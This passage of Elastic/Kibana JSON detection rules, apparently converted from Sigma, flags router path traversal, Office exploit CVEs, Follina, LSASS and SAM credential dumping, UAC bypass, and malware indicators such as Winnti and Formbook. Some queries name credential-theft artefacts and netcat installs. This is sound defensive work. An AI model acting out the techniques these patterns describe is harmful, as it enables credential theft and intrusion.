"", "timestamp_override": "event.ingested"}
{"description": "Detects exploitation of vulnerabilities in Arcadyan routers as reported in CVE-2021-20090 and CVE-2021-20091.", "author": ["Bhabesh Raj"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "f53dfaee-9ddc-db8e-222d-3a5ea9e47f28", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Arcadyan Router Exploitations", "query": "(((cs-uri-query:*..%2f*) OR ((cs-uri-query:*..%2f* AND cs-uri-query:*apply_abstract.cgi*))) AND cs-uri-query:(*\\/images\\/* OR *\\/js\\/* OR *\\/css\\/* OR *\\/setup_top_login.htm* OR *\\/login.html* OR *\\/loginerror.html* OR *\\/loginexclude.html* OR *\\/loginlock.html*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "95298b35-ca3b-6987-11e5-69a237366fae", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Droppers Exploiting CVE-2017-11882", "query": "process.parent.executable:*\\\\EQNEDT32.EXE", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1203", "T1204", "T1566"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1566", "name": "Phishing", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1203", "name": "Exploitation for Client Execution", "reference": ""}, {"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects external diskdrives or plugged in USB devices , EventID 6416 on windows 10 or later", "enabled": false, "false_positives": ["Legitimate administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2884a59d-a2b2-15d4-d248-978a168e0ede", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "External Disk Drive Or USB Storage Device", "query": "(winlog.channel:\"Security\" AND ((winlog.event_id:\"6416\" AND ClassName:\"DiskDrive\") OR DeviceDescription:\"USB\\ Mass\\ Storage\\ Device\"))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Initial Access", "Lateral Movement", "T1091", "T1200"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1091", "name": "Replication Through Removable Media", "reference": ""}, {"id": "T1200", "name": "Hardware Additions", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1091", "name": "Replication Through Removable Media", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Keith Wright"], "license": ""}
{"description": "Detects extracting of zip file from image file", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "3eb2443d-2cc2-d122-d74d-638132abf5ce", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Steganography Unzip Hidden Information From Picture File", "query": "(type:\"EXECVE\" AND a0:\"unzip\" AND a1:(*.jpg OR *.png))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Pawel Mazur"], "license": ""}
{"description": "Detects extraction of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "a5d44965-f0d3-3b95-39ee-cca7d7823fbf", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Steganography Extract Files with Steghide", "query": "(type:\"EXECVE\" AND a0:\"steghide\" AND a1:\"extract\" AND a2:\"\\-sf\" AND a3:(*.jpg OR *.png))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Pawel Mazur"], "license": ""}
{"description": "Detects file and folder permission changes.", "enabled": false, "false_positives": ["User interacting with files permissions (normal/daily behaviour)."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "f853f624-dea5-5797-98e2-3ba6fc81303c", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "File or Folder Permissions Change", "query": "(type:\"EXECVE\" AND a0:(*chmod* OR *chown*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1222"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1222", "name": "File and Directory Permissions Modification", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jakob Weinzettl", "oscd.community"], "license": ""}
{"description": "Detects file creation patterns noticeable during the exploitation of CVE-2021-40444", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "79c9850f-3586-7bc2-38c2-28b354a7c373", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Suspicious Word Cab File Write CVE-2021-40444", "query": "((process.executable:*\\\\winword.exe AND ((file.path:*.cab AND file.path:*\\\\Windows\\\\INetCache*) OR (file.path:*\\\\AppData\\\\Local\\\\Temp\\\\* AND file.path:*.inf*))) AND (NOT (file.path:C\\:\\\\Users\\\\* AND file.path:*AppData\\\\Local\\\\Temp* AND file.path:*\\\\Content.inf)))", "meta": {"from": "1m"}, "severity": "critical", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Sittikorn S"], "license": ""}
{"description": "Detects file deletion using \"rm\", \"shred\" or \"unlink\" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "08f58ca8-dc5f-a952-2f02-cae7e51d8880", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "File Deletion", "query": "process.executable.text:(*\\/rm OR *\\/shred OR *\\/unlink)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["\u00d6mer G\u00fcnal", "oscd.community"], "license": ""}
{"description": "Detects file execution using the msdeploy.exe lolbin", "enabled": false, "false_positives": ["System administrator Usage"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4358bcc4-cd51-0bbb-9742-973c86d8ba95", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Execute Files with Msdeploy.exe", "query": "(process.command_line:*verb\\:sync* AND process.command_line:*\\-source\\:RunCommand* AND process.command_line:*\\-dest\\:runCommand* AND process.executable:*\\\\msdeploy.exe)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1218"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Beyu Denis", "oscd.community"], "license": ""}
{"description": "Detects file names used by different memory dumping tools to create a memory dump of the LSASS process memory, which contains user credentials", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "deef0543-e991-20f9-9cec-c0a1ddae613b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "LSASS Process Memory Dump Files", "query": "(file.path:(*\\\\lsass.dmp OR *\\\\lsass.zip OR *\\\\lsass.rar OR *\\\\Temp\\\\dumpert.dmp OR *\\\\Andrew.dmp OR *\\\\Coredump.dmp) OR file.path:(*\\\\lsass_2* OR *\\\\lsassdump* OR *\\\\lsassdmp*) OR (file.path:*\\\\lsass* AND file.path:*.dmp*) OR (file.path:*SQLDmpr* AND file.path:*.mdmp) OR (file.path:nanodump* AND file.path:*.dmp))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects file writes of WMI script event consumer", "enabled": false, "false_positives": ["Dell Power Manager (C:\\Program Files\\Dell\\PowerManager\\DpmPowerPlanSetup.exe)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2a229e89-1aff-d0df-c0b0-2def6000795f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "WMI Persistence - Script Event Consumer File Write", "query": "process.executable:\"C\\:\\\\WINDOWS\\\\system32\\\\wbem\\\\scrcons.exe\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detects files created during the local privilege exploitation of CVE-2022-24527 Microsoft Connected Cache", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7f488413-039b-04ad-6f7b-d780778bcabc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CVE-2022-24527 Microsoft Connected Cache LPE", "query": "(file.path:*WindowsPowerShell\\\\Modules\\\\webAdministration\\\\webAdministration.psm1 AND (NOT (user.name:(*AUTHORI* OR *AUTORI*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1059"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects files dropped by Winnti as described in RedMimicry Winnti playbook", "author": ["Alexander Rausch"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "80f0f338-c921-7503-a5f2-8c4312757079", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Winnti Dropper Activity", "query": "file.path.text:(*\\\\gthread\\-3.6.dll OR *\\\\sigcmm\\-2.4.dll OR *\\\\Windows\\\\Temp\\\\tmp.bat)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects files written by the different tools that exploit HiveNightmare", "enabled": false, "false_positives": ["Files that accidentally contain these strings"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "450b4470-cd05-dd9c-4537-b5fc70eb2de7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Typical HiveNightmare SAM File Export", "query": "(file.path.text:(*\\\\hive_sam_* OR *\\\\SAM\\-2021\\-* OR *\\\\SAM\\-2022\\-* OR *\\\\SAM\\-2023\\-* OR *\\\\SAM\\-haxx* OR *\\\\Sam.save*) OR file.path.text:\"C\\:\\\\windows\\\\temp\\\\sam\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects FlowCloud malware from threat group TA410.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "57392210-9604-1ba2-d9d2-99f4d23ca350", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "FlowCloud Malware", "query": "(winlog.event_data.TargetObject:(\"HKLM\\\\HARDWARE\\\\\\{804423C2\\-F490\\-4ac3\\-BFA5\\-13DEDE63A71A\\}\" OR \"HKLM\\\\HARDWARE\\\\\\{A5124AF5\\-DF23\\-49bf\\-B0ED\\-A18ED3DEA027\\}\" OR \"HKLM\\\\HARDWARE\\\\\\{2DB80286\\-1784\\-48b5\\-A751\\-B6ED1F490303\\}\") OR winlog.event_data.TargetObject:HKLM\\\\SYSTEM\\\\Setup\\\\PrintResponsor\\\\*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1112"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["NVISO"], "license": ""}
{"description": "Detects Formbook like process executions that inject code into a set of files in the System32 folder, which executes a special command command line to delete the dropper from the AppData Temp folder. We avoid false positives by excluding all parent process with command line parameters.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e881f1cc-9f51-7cee-2531-06e154002bfd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Formbook Process Creation", "query": "(process.parent.command_line.text:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\*) AND process.parent.command_line.text:*.exe AND process.command_line.text:*C\\:\\\\Users\\\\* AND ((process.command_line.text:*\\/c* AND process.command_line.text:*del* AND process.command_line.text:*\\\\AppData\\\\Local\\\\Temp\\\\*) OR (process.command_line.text:*\\/c* AND process.command_line.text:*del* AND process.command_line.text:*\\\\Desktop\\\\*) OR (process.command_line.text:*\\/C* AND process.command_line.text:*type\\ nul\\ >* AND process.command_line.text:*\\\\Desktop\\\\*)) AND process.command_line.text:*.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Resource Development", "T1587"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0042", "reference": "", "name": "Resource Development"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1587", "name": "Develop Capabilities", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "oscd.community", "Jonhnathan Ribeiro"], "license": ""}
{"description": "Detects Golden Chickens deployment method as used by Evilnum in report published in July 2020", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ddb4fe1a-6cd2-0be3-8c52-b447a37a2439", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "EvilNum Golden Chickens Deployment via OCX Files", "query": "(process.command_line:*regsvr32* AND process.command_line:*\\/s* AND process.command_line:*\\/i* AND process.command_line:*\\\\AppData\\\\Roaming\\\\* AND process.command_line:*.ocx*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects guest users being invited to tenant by non-approved inviters", "enabled": false, "false_positives": ["If this was approved by System Administrator."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "00de3bdb-1796-41f1-7ebc-db8f36380fcf", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Guest Users Invited To Tenant By Non Approved Inviters", "query": "((Category:\"UserManagement\" AND OperationName:\"Invite\\ external\\ user\") AND (NOT (InitiatedBy:**)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1078"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["MikeDuddington", "'@dudders1'"], "license": ""}
{"description": "Detects handle requests and access operations to specific registry keys to calculate the SysKey", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "eb48cdfb-5e82-11b9-b2ef-5ba81cf770e9", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "SysKey Registry Keys Access", "query": "(winlog.channel:\"Security\" AND winlog.event_id:(\"4656\" OR \"4663\") AND winlog.event_data.ObjectType:\"key\" AND winlog.event_data.ObjectName:(*lsa\\\\JD OR *lsa\\\\GBG OR *lsa\\\\Skew1 OR *lsa\\\\Data))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1012"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1012", "name": "Query Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
{"description": "Detects handles requested to SAM registry hive", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fb037fa9-a534-19a8-ed05-71be13e75f21", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "SAM Registry Hive Handle Request", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4656\" AND winlog.event_data.ObjectType:\"Key\" AND winlog.event_data.ObjectName:*\\\\SAM)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1012", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1012", "name": "Query Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
{"description": "Detects HTTP requests used by Chafer malware", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "99587c92-8364-cb49-0f81-1ca490eb6501", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Chafer Malware URL Pattern", "query": "url.original:*\\/asp.asp\\?ui\\=*", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects Hurricane Panda Activity", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c37dcf20-14a5-9a86-5ceb-d88edc897207", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Hurricane Panda Activity", "query": "((process.command_line:*localgroup* AND process.command_line:*admin* AND process.command_line:*\\/add*) OR process.command_line:*\\\\Win64.exe*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1068"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects indicators of a UAC bypass method by mocking directories", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ebd39796-3ece-c2af-9a46-fec3d8e7a08f", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "TrustedPath UAC Bypass Pattern", "query": "process.executable:*C\\:\\\\Windows\\ \\\\System32\\\\*", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects indirect command execution via Program Compatibility Assistant \"pcwrun.exe\" leveraging the follina (CVE-2022-30190) vulnerability", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9c6ba7e0-4512-fbe1-7133-aa7d60d6984d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execute Pcwrun.EXE To Leverage Follina", "query": "(process.executable:*\\\\pcwrun.exe AND process.command_line:*..\\/*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects inline windows shell commands redirecting output via the \">\" symbol to a suspicous location", "enabled": false, "false_positives": ["Legitimate admin scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9c64d76f-cbfe-87fe-c60e-d5293e36905f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious CMD Shell Redirect", "query": "(process.executable:*\\\\cmd.exe AND process.command_line:*\\ >\\ %USERPROFILE%\\\\* AND process.command_line:*\\ >\\ %APPDATA%\\\\* AND process.command_line:*\\ >\\ \\\\Users\\\\Public\\\\* AND process.command_line:*\\ >\\ C\\:\\\\Users\\\\Public\\\\* AND process.command_line:*\\ >\\ %TEMP%\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1218"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects installation of a new shim using sdbinst.exe. A shim can be used to load malicious DLLs into applications.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "29776727-403e-0a86-8ec0-51952563ad7f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Possible Shim Database Persistence via sdbinst.exe", "query": "((process.executable.text:*\\\\sdbinst.exe AND process.command_line.text:*.sdb*) AND (NOT (process.command_line.text:*iisexpressshim.sdb*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Markus Neis"], "license": ""}
{"description": "Detects installation of a remote msi file from web.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "806ca5c6-2af9-05b4-e9e5-4131a293e390", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "MSI Installation From Web", "query": "(winlog.channel:\"Application\" AND Provider_Name:\"MsiInstaller\" AND winlog.event_id:(\"1040\" OR \"1042\") AND Data:*\\:\\/\\/*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1218", "T1218"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Stamatis Chatzimangou"], "license": ""}
{"description": "Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders. Both services are used in the tool Ghost-In-The-Logs (), which uses KDU ()", "enabled": false, "false_positives": ["Other legimate tools using this service names and drivers. Note - clever attackers may easily bypass this detection by just renaming the services. Therefore just Medium-level and don't rely on it."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "984afd12-d24d-9d5a-ee6b-dd914d4ad50a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Service Installed", "query": "(((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(\"HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\NalDrv\\\\ImagePath\" OR \"HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\PROCEXP152\\\\ImagePath\")) AND (NOT (process.executable:(*\\\\procexp64.exe OR *\\\\procexp.exe OR *\\\\procmon64.exe OR *\\\\procmon.exe)))) AND (NOT (winlog.event_data.Details:*\\\\WINDOWS\\\\system32\\\\Drivers\\\\PROCEXP152.SYS*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["xknow (@xknow_infosec)", "xorxes (@xor_xes)"], "license": ""}
{"description": "Detects installation of new certificate on the system which attackers may use to avoid warnings when connecting to controlled web servers or C2s", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "4134d7bc-f71e-f252-330a-0780a0ba849f", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Install Root Certificate", "query": "process.executable:(*\\/update\\-ca\\-certificates OR *\\/update\\-ca\\-trust)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1553"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1553", "name": "Subvert Trust Controls", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["\u00d6mer G\u00fcnal", "oscd.community"], "license": ""}
{"description": "Detects installation of suspicious packages using system installation utilities", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "5e7ff53d-74bb-a2c0-6720-42bdca0aaff8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Package Installed - Linux", "query": "((((process.executable.text:(*\\/apt OR *\\/apt\\-get) AND process.command_line.text:*install*)) OR ((process.executable.text:*\\/yum AND process.command_line.text:(*localinstall* OR *install*))) OR ((process.executable.text:*\\/rpm AND process.command_line.text:*\\-i*)) OR ((process.executable.text:*\\/dpkg AND process.command_line.text:(*\\-\\-install* OR *\\-i*)))) AND process.command_line.text:(*nmap* OR *\\ nc* OR *netcat* OR *wireshark* OR 